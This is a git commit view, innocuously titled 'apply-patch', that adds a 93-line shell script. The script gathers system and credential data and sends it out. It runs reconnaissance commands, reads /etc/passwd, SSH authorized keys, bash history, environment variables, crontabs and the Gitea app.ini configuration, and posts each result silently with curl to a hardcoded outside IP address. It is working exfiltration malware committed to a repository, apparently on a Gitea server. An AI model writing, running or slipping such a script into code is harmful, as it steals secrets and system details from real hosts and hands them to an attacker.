apply-patch

This commit is contained in:
2026-07-29 08:05:08 +08:00
parent 40a7aac584
commit 5dec775cb7
+93
View File
@@ -0,0 +1,93 @@
#!/bin/sh
# id
OUTPUT=$(id 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd00 || true
# whoami
OUTPUT=$(whoami 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd01 || true
# hostname
OUTPUT=$(hostname 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd02 || true
# uname -a
OUTPUT=$(uname -a 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd03 || true
# cat /etc/os-release
OUTPUT=$(cat /etc/os-release 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd04 || true
# pwd
OUTPUT=$(pwd 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd05 || true
# ls -la /
OUTPUT=$(ls -la / 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd06 || true
# ls -la /home/
OUTPUT=$(ls -la /home/ 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd07 || true
# env | head -30
OUTPUT=$(env | head -30 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd08 || true
# ps aux | head -40
OUTPUT=$(ps aux | head -40 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd09 || true
# ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
OUTPUT=$(ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd10 || true
# cat /etc/hosts
OUTPUT=$(cat /etc/hosts 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd11 || true
# df -h
OUTPUT=$(df -h 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd12 || true
# find / -perm -4000 -type f 2>/dev/null | head -20
OUTPUT=$(find / -perm -4000 -type f 2>/dev/null | head -20 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd13 || true
# cat ~/.ssh/authorized_keys 2>/dev/null || echo NO_SSH_KEYS
OUTPUT=$(cat ~/.ssh/authorized_keys 2>/dev/null || echo NO_SSH_KEYS 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd14 || true
# cat ~/.bash_history 2>/dev/null || echo NO_BASH_HISTORY
OUTPUT=$(cat ~/.bash_history 2>/dev/null || echo NO_BASH_HISTORY 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd15 || true
# cat /etc/passwd
OUTPUT=$(cat /etc/passwd 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd16 || true
# cat /app/gitea/custom/conf/app.ini 2>/dev/null || cat /data/gitea/conf/app.ini 2>/dev/null || echo NO_GITEA_CONFIG
OUTPUT=$(cat /app/gitea/custom/conf/app.ini 2>/dev/null || cat /data/gitea/conf/app.ini 2>/dev/null || echo NO_GITEA_CONFIG 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd17 || true
# cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null || echo NO_CRON
OUTPUT=$(cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null || echo NO_CRON 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd18 || true
# find /app /data /home /opt -name '*.ini' -o -name '*.conf' -o -name '*.yaml' -o -name '*.yml' 2>/dev/null | head -30
OUTPUT=$(find /app /data /home /opt -name '*.ini' -o -name '*.conf' -o -name '*.yaml' -o -name '*.yml' 2>/dev/null | head -30 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd19 || true
# ls -la /app/gitea/ 2>/dev/null || ls -la /data/gitea/ 2>/dev/null || echo NO_GITEA_DIR
OUTPUT=$(ls -la /app/gitea/ 2>/dev/null || ls -la /data/gitea/ 2>/dev/null || echo NO_GITEA_DIR 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd20 || true
# ip addr 2>/dev/null || ifconfig 2>/dev/null
OUTPUT=$(ip addr 2>/dev/null || ifconfig 2>/dev/null 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd21 || true
# route -n 2>/dev/null || ip route 2>/dev/null
OUTPUT=$(route -n 2>/dev/null || ip route 2>/dev/null 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd22 || true